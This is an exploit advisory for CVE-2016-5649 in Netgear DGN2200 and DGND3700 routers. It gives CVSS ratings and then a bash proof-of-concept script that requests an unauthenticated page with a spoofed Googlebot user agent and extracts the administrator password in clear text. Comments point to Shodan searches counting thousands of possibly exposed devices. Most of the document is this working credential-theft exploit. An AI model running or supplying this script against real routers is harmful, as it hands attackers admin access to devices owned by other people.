Netgear DGN2200 / DGND3700 Admin Password Disclosure

2019.05.01
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

#/bin/bash # PoC based on CVE-2016-5649 created by Social Engineering Neo. # # Long Method: https://www.youtube.com/watch?v=f3awG0XPKAs # # https://www.shodan.io/search?query=DGN2200 = 2,325 possible vulnerable devices. # https://www.shodan.io/search?query=DGND3700 = 555 possible vulnerable devices. # # A vulnerability exists within the page 'BSW_cxttongr.htm' which can allow a remote attacker to access this page without any authentication. # When the request is processed, it exposes the administrator password in clear text before getting redirected to 'absw_vfysucc.cgia'. # An attacker can use this password to gain administrator access of the targeted routers web interface. # # Netgear has released firmware version 1.0.0.52 for DGN2200 & 1.0.0.28 for DGND3700 to address this issue. clear read -p "Enter Target Address Followed by Port: " target port # localhost 8080 if [ "$port" -lt 65536 ] && [ "$port" -gt 0 ]; then grab=$(curl -s -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' $target:$port/BSW_cxttongr.htm) pass=$(echo $grab | awk '{print $218}' | tail -c +2 | head -c -3) if [ "$pass" == '' ] || [ "$pass" == '/html' ] ; then echo Invalid Response, Target May Not be Vulnerable. else echo The Password for: $target is: $pass fi else echo "Incorrect Port." fi


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